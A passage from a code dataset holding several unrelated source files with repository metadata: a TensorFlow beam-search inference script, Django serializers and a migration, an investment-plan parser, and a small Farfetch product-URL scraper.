prepare decoder data\n            batch, max_dec_len, dec_batch_size = prepare_inf_features(batch_data, params)\n            # decoder beam search\n            decode_seq, decode_score = run(infer_op(encoder_output, dec_batch_size, max_dec_len), batch)\n            # [batch, top_beam, len] => [batch, len], [batch, top_beam] => [batch]\n            decode_seq, decode_score = decode_seq[:, 0, :].tolist(), decode_score[:, 0]\n            return decode_seq, decode_score\n\n        def two_stage_model_inference(batch_data, params):\n            \"\"\"Inference for two stage model\"\"\"\n            # 1. stage 1\n            # get output of encoder, [b, q_1, e]\n            encoder_output = run_stage1(model.encoder_output, batch_data)\n            # prepare decoder data, tile feature by beam_size times\n            batch, max_dec_len, dec_batch_size = prepare_inf_features(batch_data, params)\n            # decoder beam search\n            sketch_seq, sketch_score = run_stage1(stage1_infer_op(encoder_output, dec_batch_size, max_dec_len), batch)\n            # [batch, top_beam, len] => [batch, len], [batch, top_beam] => [batch]\n            sketch_seq, sketch_score = sketch_seq[:, 0, :].tolist(), sketch_score[:, 0]\n            # 2. stage 2\n            # prepare, add stage1 decoder output to feature\n            batch.add_sketch_feature(sketch_seq)\n            sketch_encoder_output = run(model.sketch_encoder_output, batch)\n            # concat src enc output & sketch enc output using SAME WAY in model\n            concated_encoder_output = concat_enc_output(encoder_output, sketch_encoder_output)\n            batch = prepare_inf_features_stage2(batch, params)\n            # decoder beam search\n            decode_seq, decode_score = run(infer_op(concated_encoder_output, dec_batch_size, max_dec_len), batch)\n            # [batch, top_beam, len] => [batch, len], [batch, top_beam] => [batch]\n            decode_seq, decode_score = decode_seq[:, 0, :].tolist(), decode_score[:, 0]\n            return decode_seq, decode_score, sketch_seq\n\n        def hierarchical_model_inference(batch_data, params):\n            \"\"\"Inference for hierarchical model\"\"\"\n            # 1. stage 1\n            # get output of encoder, [b, q_1, e]\n            encoder_output = run_stage1(model.encoder_output, batch_data)\n            # prepare decoder data, tile feature by beam_size times\n            batch, max_dec_len, dec_batch_size = prepare_inf_features(batch_data, params)\n            # decoder beam search, get sketch-1\n            sketch1_seq, sketch1_score = run_stage1(stage1_infer_op(encoder_output, dec_batch_size, max_dec_len), batch)\n            # [batch, top_beam, len] => [batch, len], [batch, top_beam] => [batch]\n            sketch1_seq, sketch1_score = sketch1_seq[:, 0, :].tolist(), sketch1_score[:, 0]\n            # 2. stage 2\n            # prepare, add stage1 decoder output to feature\n            batch.add_sketch_feature(sketch1_seq)\n            sketch1_encoder_output = run_stage2(model.sketch1_encoder_output, batch)\n            # concat src enc output & sketch enc output using SAME WAY in model\n            concated_sketch1_encoder_output = concat_enc_output(encoder_output, sketch1_encoder_output)\n            batch = prepare_inf_features_stage2(batch, params)\n            # decoder beam search, get sketch-2\n            sketch2_seq, sketch2_score = run_stage2(\n                stage2_infer_op(concated_sketch1_encoder_output, dec_batch_size, max_dec_len),\n                batch)\n            # [batch, top_beam, len] => [batch, len], [batch, top_beam] => [batch]\n            sketch2_seq, sketch2_score = sketch2_seq[:, 0, :].tolist(), sketch2_score[:, 0]\n            # 3. stage 3\n            batch.add_second_sketch_feature(sketch2_seq)\n            sketch2_encoder_output = run(model.sketch2_encoder_output, batch)\n            # concat src enc output & sketch enc output using SAME WAY in model\n            final_encoder_output = concat_enc_output(encoder_output,\n                                                     sketch1_encoder_output,\n                                                     sketch2_encoder_output)\n            batch = prepare_inf_features_stage3(batch, params)\n            # decoder beam search, get target seq\n            decode_seq, decode_score = run(infer_op(final_encoder_output, dec_batch_size, max_dec_len),\n                                           batch)\n            # [batch, top_beam, len] => [batch, len], [batch, top_beam] => [batch]\n            decode_seq, decode_score = decode_seq[:, 0, :].tolist(), decode_score[:, 0]\n            return decode_seq, decode_score, sketch1_seq, sketch2_seq\n\n        class InferType(IntEnum):\n            hierarchical = 1\n            multi_step = 2\n            single = 3\n\n        def determine_infer_type():\n            \"\"\"Determine the inference type, using parameters define in model class\"\"\"\n            try:\n                if params.hierarchical_inference:\n                    return InferType.hierarchical\n            except AttributeError:\n                try:\n                    if params.multi_step_inference:\n                        return InferType.multi_step\n                except AttributeError:\n                    return InferType.single\n\n        # Create session\n        with tf.Session(config=session_config(params, is_train=False)) as sess:\n            # Initialize variables\n            sess.run(tf.global_variables_initializer())\n            sess.run(tf.local_variables_initializer())\n            # Restore\n            model.restore(sess, args.models[0])\n            tf.logging.set_verbosity(tf.logging.INFO)\n            # Prepare\n            results, sketch_results = [], []\n            sketch1_results, sketch2_results = [], []\n            infer_type = determine_infer_type()\n            while True:\n                # predict one batch\n                batch = batcher.next_batch()\n                if not batch:\n                    break\n                # inference ids seq\n                if infer_type == InferType.multi_step:\n                    decode_seq, decode_score, decode_sketch = two_stage_model_inference(batch, params)\n                    decode_sketch_result = decode_target_ids_copy(decode_sketch, batch, params, 'sketch')\n                    sketch_results += decode_sketch_result\n                elif infer_type == InferType.hierarchical:\n                    decode_seq, decode_score, dec_sketch1, dec_sketch2 = hierarchical_model_inference(batch, params)\n                    dec_sketch1 = decode_target_ids_copy(dec_sketch1, batch, params, 'sketch')\n                    dec_sketch2 = decode_target_ids_copy(dec_sketch2, batch, params, 'sketch')\n                    sketch1_results += dec_sketch1\n                    sketch2_results += dec_sketch2\n                else:\n                    decode_seq, decode_score = single_stage_model_inference(batch, params)\n                # convert to string\n                if params.use_copy:\n                    decode_result = decode_target_ids_copy(decode_seq, batch, params)\n                else:\n                    decode_result = decode_target_ids(decode_seq, params)\n                results += decode_result\n                tf.logging.log(tf.logging.INFO, \"Finished sample %d\" % len(results))\n        # write results to file\n        write_result_to_file(results, params.output)\n        if infer_type == InferType.multi_step:\n            write_result_to_file(sketch_results, params.output + '.sketch')\n        elif infer_type == InferType.hierarchical:\n            write_result_to_file(sketch2_results, params.output + '.sketch2')\n            write_result_to_file(sketch1_results, params.output + '.sketch1')\n\n\nif __name__ == \"__main__\":\n    main(parse_args())\n", "repo_name": "cairoHy/HSP", "sub_path": "inference.py", "file_name": "inference.py", "file_ext": "py", "file_size_in_byte": 11808, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 30, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 18, "usage_type": "call"}, {"api_name": "tensorflow.contrib.training.HParams", "line_number": 45, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 69, "usage_type": "attribute"}, {"api_name": "tensorflow.logging", "line_number": 70, "usage_type": "attribute"}, {"api_name": "tensorflow.logging.set_verbosity", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.logging", "line_number": 71, "usage_type": "attribute"}, {"api_name": "decomp_models.get_decomp_model", "line_number": 73, "usage_type": "call"}, {"api_name": "utils.params.parse_infer_params", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.Graph", "line_number": 77, "usage_type": "call"}, {"api_name": "data.batcher.Batcher", "line_number": 80, "usage_type": "call"}, {"api_name": "data.batcher", "line_number": 87, "usage_type": "argument"}, {"api_name": "data.batcher", "line_number": 90, "usage_type": "argument"}, {"api_name": "data.batcher", "line_number": 93, "usage_type": "argument"}, {"api_name": "decomp_models.beamsearch.create_inference_ops_general", "line_number": 97, "usage_type": "call"}, {"api_name": "decomp_models.beamsearch.create_inference_ops_general", "line_number": 101, "usage_type": "call"}, {"api_name": "decomp_models.beamsearch.create_inference_ops_general", "line_number": 105, "usage_type": "call"}, {"api_name": "data.infer_data_processer.prepare_inf_features", "line_number": 113, "usage_type": "call"}, {"api_name": "data.infer_data_processer.prepare_inf_features", "line_number": 126, "usage_type": "call"}, {"api_name": "data.infer_data_processer.concat_enc_output", "line_number": 136, "usage_type": "call"}, {"api_name": "data.infer_data_processer.prepare_inf_features_stage2", "line_number": 137, "usage_type": "call"}, {"api_name": "data.infer_data_processer.prepare_inf_features", "line_number": 150, "usage_type": "call"}, {"api_name": "data.infer_data_processer.concat_enc_output", "line_number": 160, "usage_type": "call"}, {"api_name": "data.infer_data_processer.prepare_inf_features_stage2", "line_number": 161, "usage_type": "call"}, {"api_name": "data.infer_data_processer.concat_enc_output", "line_number": 172, "usage_type": "call"}, {"api_name": "data.infer_data_processer.prepare_inf_features_stage3", "line_number": 175, "usage_type": "call"}, {"api_name": "enum.IntEnum", "line_number": 183, "usage_type": "name"}, {"api_name": "tensorflow.Session", "line_number": 201, "usage_type": "call"}, {"api_name": "utils.train_utils.session_config", "line_number": 201, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 203, "usage_type": "call"}, {"api_name": "tensorflow.local_variables_initializer", "line_number": 204, "usage_type": "call"}, {"api_name": "tensorflow.logging.set_verbosity", "line_number": 207, "usage_type": "call"}, {"api_name": "tensorflow.logging", "line_number": 207, "usage_type": "attribute"}, {"api_name": "utils.vocab.decode_target_ids_copy", "line_number": 220, "usage_type": "call"}, {"api_name": "utils.vocab.decode_target_ids_copy", "line_number": 224, "usage_type": "call"}, {"api_name": "utils.vocab.decode_target_ids_copy", "line_number": 225, "usage_type": "call"}, {"api_name": "utils.vocab.decode_target_ids_copy", "line_number": 232, "usage_type": "call"}, {"api_name": "utils.vocab.decode_target_ids", "line_number": 234, "usage_type": "call"}, {"api_name": "tensorflow.logging.log", "line_number": 236, "usage_type": "call"}, {"api_name": "tensorflow.logging", "line_number": 236, "usage_type": "attribute"}, {"api_name": "utils.train_utils.write_result_to_file", "line_number": 238, "usage_type": "call"}, {"api_name": "utils.train_utils.write_result_to_file", "line_number": 240, "usage_type": "call"}, {"api_name": "utils.train_utils.write_result_to_file", "line_number": 242, "usage_type": "call"}, {"api_name": "utils.train_utils.write_result_to_file", "line_number": 243, "usage_type": "call"}]}
{"seq_id": "18621400834", "text": "from rest_framework import serializers\nfrom rest_framework.validators import ValidationError\nfrom api.serializers.product import ProductSerializer\nfrom ecommerce import models as md\n# from django.utils.translation import ugettext_lazy as _\n\n\nclass OrderedItemSerializer(serializers.ModelSerializer):\n  product = serializers.SerializerMethodField()\n  class Meta:\n    model = md.OrderedItem\n    fields ='__all__'\n    \n  def get_product(self, instance):\n    return ProductSerializer(instance=instance.product).data\n  \nclass OrderItemCreateSerializer(serializers.ModelSerializer):\n  product_id = serializers.IntegerField(write_only=True, required=True)\n  class Meta:\n    model = md.OrderedItem\n    exclude = ['date_updated',]\n    extra_kwargs = {\n      'order': {'required': False, 'read_only': True},\n      'product': {'required': False, 'read_only': True}\n    }\n    \n  def __init__(self, instance=None, data=..., order=None, **kwargs):\n    super().__init__(instance, data, **kwargs)\n    if order:\n      self.order = order\n    \n  def validate(self, attrs):\n    product = md.Product.objects.filter(id=attrs['product_id'])\n    if not product:\n      raise ValidationError(('Product is not found in database'), code='product-not-found')\n    \n    product = product.first()\n    if product.price != attrs['price']:\n      raise ValidationError((f\"Product #{product.name} price does not match\"), code='product-price-does-not-match')\n    \n    attrs['product'] = product\n    \n    \n      \n    return super().validate(attrs)\n    \n    \n  def create(self, validated_data):\n    validated_data['order'] = self.order\n    return super().create(validated_data)\n  \n    \n", "repo_name": "Teedari/animal-ecommerce-backend", "sub_path": "api/serializers/ordereditem.py", "file_name": "ordereditem.py", "file_ext": "py", "file_size_in_byte": 1646, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 8, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 8, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 9, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 9, "usage_type": "name"}, {"api_name": "ecommerce.models.OrderedItem", "line_number": 11, "usage_type": "attribute"}, {"api_name": "ecommerce.models", "line_number": 11, "usage_type": "name"}, {"api_name": "api.serializers.product.ProductSerializer", "line_number": 15, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 17, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 17, "usage_type": "name"}, {"api_name": "rest_framework.serializers.IntegerField", "line_number": 18, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 18, "usage_type": "name"}, {"api_name": "ecommerce.models.OrderedItem", "line_number": 20, "usage_type": "attribute"}, {"api_name": "ecommerce.models", "line_number": 20, "usage_type": "name"}, {"api_name": "ecommerce.models.Product.objects.filter", "line_number": 33, "usage_type": "call"}, {"api_name": "ecommerce.models.Product", "line_number": 33, "usage_type": "attribute"}, {"api_name": "ecommerce.models", "line_number": 33, "usage_type": "name"}, {"api_name": "rest_framework.validators.ValidationError", "line_number": 35, "usage_type": "call"}, {"api_name": "rest_framework.validators.ValidationError", "line_number": 39, "usage_type": "call"}]}
{"seq_id": "19119276704", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.conf import settings\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n    dependencies = [\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='Orgsync_Org',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('orgsync_id', models.IntegerField()),\n                ('name', models.CharField(max_length=128)),\n                ('keywords', models.TextField(null=True, blank=True)),\n                ('president_email', models.EmailField(max_length=254, null=True, blank=True)),\n                ('org_email', models.EmailField(max_length=254, null=True, blank=True)),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Orgsync_OrgCat',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('name', models.CharField(max_length=64)),\n                ('orgsync_id', models.IntegerField()),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Orgsync_User',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('orgsync_id', models.IntegerField()),\n                ('title', models.CharField(max_length=256, null=True, blank=True)),\n                ('account_id', models.IntegerField()),\n                ('first_name', models.CharField(max_length=128)),\n                ('last_name', models.CharField(max_length=128)),\n                ('email_address', models.EmailField(max_length=254)),\n                ('last_login', models.DateField(null=True, blank=True)),\n                ('about_me', models.TextField(null=True, blank=True)),\n                ('portfolio', models.CharField(max_length=256, null=True, blank=True)),\n                ('memberships', models.ManyToManyField(to='acct.Orgsync_Org', blank=True)),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Profile',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('wpibox', models.IntegerField(null=True, verbose_name='WPI Box Number', blank=True)),\n                ('phone', models.CharField(max_length=24, null=True, verbose_name='Phone Number', blank=True)),\n                ('addr', models.TextField(null=True, verbose_name='Address / Office Location', blank=True)),\n                ('mdc', models.CharField(max_length=32, null=True, verbose_name='MDC', blank=True)),\n                ('locked', models.BooleanField(default=False)),\n                ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL, on_delete=models.CASCADE)),\n            ],\n        ),\n        migrations.AddField(\n            model_name='orgsync_org',\n            name='category',\n            field=models.ForeignKey(blank=True, to='acct.Orgsync_OrgCat', null=True, on_delete=models.CASCADE),\n        ),\n    ]\n", "repo_name": "WPI-LNL/lnldb", "sub_path": "acct/migrations/0001_initial.py", "file_name": "0001_initial.py", "file_ext": "py", "file_size_in_byte": 3218, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.migrations.swappable_dependency", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 10, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.EmailField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.EmailField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 25, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 38, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 39, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 39, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 40, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 40, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 41, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 41, "usage_type": "name"}, {"api_name": "django.db.models.EmailField", "line_number": 42, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 42, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 43, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 43, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 44, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 44, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 45, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 45, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 46, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 46, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 49, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 49, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 52, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 52, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 53, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 53, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 54, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 54, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 55, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 55, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 56, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 56, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 57, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 57, "usage_type": "name"}, {"api_name": "django.db.models.OneToOneField", "line_number": 58, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 58, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 58, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 58, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 58, "usage_type": "attribute"}, {"api_name": "django.db.migrations.AddField", "line_number": 61, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 61, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 64, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 64, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 64, "usage_type": "attribute"}]}
{"seq_id": "28350853766", "text": "\"\"\"\nThis implement the investment plans profit calculation.\n\nYou need create a analysis plan in the folder \"<data/plan/xxx.txt>\",\nand you can run the <bin/analysis.sh> to calculate your profit by providing the file name.\n\nthe file format is like this:\n```\n    date,+/-amount\n    example: 2019-3-18,1000 <-- means analysis 1000$ more\n             2020-1-5, -2500 <-- means withdraw 2500$\n```\nthere still some special format for money analysis description:\n- month_X,<amount>\n- week_X,<amount>\nwhich means, the day for each week or month, I will analysis more money, whose amount is <amount>.\nbut if any items below the format contents, means, there are some new break for the routine investment.\nbelow is the complete example:\n```\n    2020-1-7,5000\n    2020-1-13,5000\n    2020-2.24,-3231\n    month_10,1000\n```\n\"\"\"\nimport io\nimport logging\nimport os\nfrom collections import namedtuple\nfrom datetime import datetime, timedelta\n\nfrom fund_analysis import const\nfrom fund_analysis.const import DATE_FORMAT\nfrom fund_analysis.tools import utils\n\nlogger = logging.getLogger(__name__)\n\nInvestRecord = namedtuple('InvestRecord', ['date', 'amount'])\n\n\ndef parse_successor_date(period, day, previous_line, next_line, amount):\n    \"\"\"\n    calcuate the successor date util the next_date\n    :param period:\n    :param day:\n    :param next_date: the next line of stop date\n    :param amount:\n    :return: return all analysis day and its amount\n    \"\"\"\n    previous_date_str, _ = previous_line.split(\",\")\n    previous_date = datetime.strptime(previous_date_str, DATE_FORMAT)\n    next_date_str, _ = next_line.split(\",\")\n    next_date = datetime.strptime(next_date_str, DATE_FORMAT)\n\n    delta = next_date - previous_date\n    records = []\n    for i in range(delta.days + 1):\n\n        date = previous_date + timedelta(days=i)\n        date_str = datetime.strftime(date, DATE_FORMAT)\n\n        if period == const.PERIOD_MONTH and date.day == day:\n            logger.debug(\"%d月%d日，定投:%f\", date.month, date.day, amount)\n            records.append(InvestRecord(date=utils.str2date(date_str), amount=amount))\n        if period == const.PERIOD_WEEK and date.weekday() + 1 == day:\n            logger.debug(\"每周%d(%s)，定投:%f\", day, date_str, amount)\n            records.append(InvestRecord(date=utils.str2date(date_str), amount=amount))\n        if period == const.PERIOD_DAY:\n            records.append(InvestRecord(date=utils.str2date(date_str), amount=amount))\n\n    return records\n\n\ndef load(file_path):\n    if not os.path.exists(file_path):\n        logger.error(\"投资计划文件[%s]不存在\")\n        return None\n    f_stream = open(file_path, \"r\", encoding='utf-8')\n    return load_stream(f_stream)\n\n\ndef load_stream(steam):\n    \"\"\"\n    2020-1-7, 5000\n    2020-1-13, 5000\n    2020-2-24, -3231\n    month_10, 1000\n    2021-1-18, -5000\n    week_2, 800\n    \"\"\"\n    records = []\n\n    lines = steam.readlines()\n    lines = [l.strip() for l in lines if l.strip() != \"\"]\n\n    for i, line in enumerate(lines):\n        if line.startswith(\"#\"): continue # ignore the comments\n        date_str, amount = line.split(\",\")\n        amount = float(amount)\n\n        if utils.is_date(date_str):\n            records.append(InvestRecord(date=utils.str2date(date_str), amount=amount))\n            logger.debug(\"%s日，定投:%f\", date_str, amount)\n            continue\n\n        # month_10 => month , 10\n        if date_str.startswith(const.PERIOD_MONTH) or \\\n                date_str.startswith(const.PERIOD_WEEK) or \\\n                date_str.startswith(const.PERIOD_DAY):\n            period, day = date_str.split(\"_\")\n            day = int(day)\n            amount = float(amount)\n\n            # if i am have next brother, use it to terminate me\n            if i < len(lines) - 1:\n                previous_line = lines[i - 1]\n                next_line = lines[i + 1]\n                next_date_str, _ = next_line.split(\",\")\n                if next_date_str is None:\n                    logger.error(\"不合规的文件格式：%r\", lines)\n                    raise ValueError(\"不合规的文件格式：\\r\" + str(lines))\n                records += parse_successor_date(period, day, previous_line, next_line, amount)\n            else:  # if i am the last line\n                previous_line = lines[i - 1]\n                yesterday = datetime.now() - timedelta(days=1)\n                fake_yesterday_line = yesterday.strftime('%Y-%m-%d') + \",0\"\n                records += parse_successor_date(period, day, previous_line, fake_yesterday_line, amount)\n    return records\n\n\n# python -m fund_analysis.analysis.plan_loader\nif __name__ == '__main__':\n    utils.init_logger()\n    stream = io.StringIO(\n        \"\"\"\n        2020-1-7, 5000\n        2020-1-13, 5000\n        2020-2-24, -3231\n        month_10, 1000\n        2021-1-18, -5000\n        week_2, 800\n        \"\"\")\n    records = load_stream(stream)\n    logger.debug(\"所有的记录：%r\", records)\n", "repo_name": "piginzoo/fund_analysis", "sub_path": "fund_analysis/analysis/plan_loader.py", "file_name": "plan_loader.py", "file_ext": "py", "file_size_in_byte": 4919, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 36, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 51, "usage_type": "call"}, {"api_name": "fund_analysis.const.DATE_FORMAT", "line_number": 51, "usage_type": "argument"}, {"api_name": "datetime.datetime", "line_number": 51, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 53, "usage_type": "call"}, {"api_name": "fund_analysis.const.DATE_FORMAT", "line_number": 53, "usage_type": "argument"}, {"api_name": "datetime.datetime", "line_number": 53, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 59, "usage_type": "call"}, {"api_name": "datetime.datetime.strftime", "line_number": 60, "usage_type": "call"}, {"api_name": "fund_analysis.const.DATE_FORMAT", "line_number": 60, "usage_type": "argument"}, {"api_name": "datetime.datetime", "line_number": 60, "usage_type": "name"}, {"api_name": "fund_analysis.const.PERIOD_MONTH", "line_number": 62, "usage_type": "attribute"}, {"api_name": "fund_analysis.const", "line_number": 62, "usage_type": "name"}, {"api_name": "fund_analysis.tools.utils.str2date", "line_number": 64, "usage_type": "call"}, {"api_name": "fund_analysis.tools.utils", "line_number": 64, "usage_type": "name"}, {"api_name": "fund_analysis.const.PERIOD_WEEK", "line_number": 65, "usage_type": "attribute"}, {"api_name": "fund_analysis.const", "line_number": 65, "usage_type": "name"}, {"api_name": "fund_analysis.tools.utils.str2date", "line_number": 67, "usage_type": "call"}, {"api_name": "fund_analysis.tools.utils", "line_number": 67, "usage_type": "name"}, {"api_name": "fund_analysis.const.PERIOD_DAY", "line_number": 68, "usage_type": "attribute"}, {"api_name": "fund_analysis.const", "line_number": 68, "usage_type": "name"}, {"api_name": "fund_analysis.tools.utils.str2date", "line_number": 69, "usage_type": "call"}, {"api_name": "fund_analysis.tools.utils", "line_number": 69, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "fund_analysis.tools.utils.is_date", "line_number": 101, "usage_type": "call"}, {"api_name": "fund_analysis.tools.utils", "line_number": 101, "usage_type": "name"}, {"api_name": "fund_analysis.tools.utils.str2date", "line_number": 102, "usage_type": "call"}, {"api_name": "fund_analysis.tools.utils", "line_number": 102, "usage_type": "name"}, {"api_name": "fund_analysis.const.PERIOD_MONTH", "line_number": 107, "usage_type": "attribute"}, {"api_name": "fund_analysis.const", "line_number": 107, "usage_type": "name"}, {"api_name": "fund_analysis.const.PERIOD_WEEK", "line_number": 108, "usage_type": "attribute"}, {"api_name": "fund_analysis.const", "line_number": 108, "usage_type": "name"}, {"api_name": "fund_analysis.const.PERIOD_DAY", "line_number": 109, "usage_type": "attribute"}, {"api_name": "fund_analysis.const", "line_number": 109, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 125, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 125, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 125, "usage_type": "call"}, {"api_name": "fund_analysis.tools.utils.init_logger", "line_number": 133, "usage_type": "call"}, {"api_name": "fund_analysis.tools.utils", "line_number": 133, "usage_type": "name"}, {"api_name": "io.StringIO", "line_number": 134, "usage_type": "call"}]}
{"seq_id": "18934360724", "text": "import requests\nimport time\n\nURL = \"https://www.farfetch.cn/cn/plpslice/listing-api/products-facets?page=1&view=90&sort=3&category=136099\" \\\n          \"&pagetype=Shopping&rootCategory=Women&pricetype=FullPrice&c-category=135967\"\nPAGE_FIRST = 0\nPAGE_LAST = 78\n\ndef main():\n    headers = {'User-Agent': \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36 Edg/103.0.1264.37\"}\n    url_split = URL.split('page=1')\n    file = open(\"item.txt\", \"a+\", encoding='utf-8')\n\n    for i in range(PAGE_FIRST, PAGE_LAST):\n        url_fresh = url_split[0] + 'page=' + str(i + 1) + url_split[1]\n        print('page[' + str(i+1) + ']')\n        resp = requests.get(url_fresh, headers=headers)\n        time.sleep(1)\n        items = resp.json()['listingItems']['items']\n        for item in items:\n            file.write(\"https://www.farfetch.cn\" + item['url'] + '\\n')\n    file.close()\n\n\nif __name__ == '__main__':\n    main()", "repo_name": "euphonium1998/crawl", "sub_path": "getItems.py", "file_name": "getItems.py", "file_ext": "py", "file_size_in_byte": 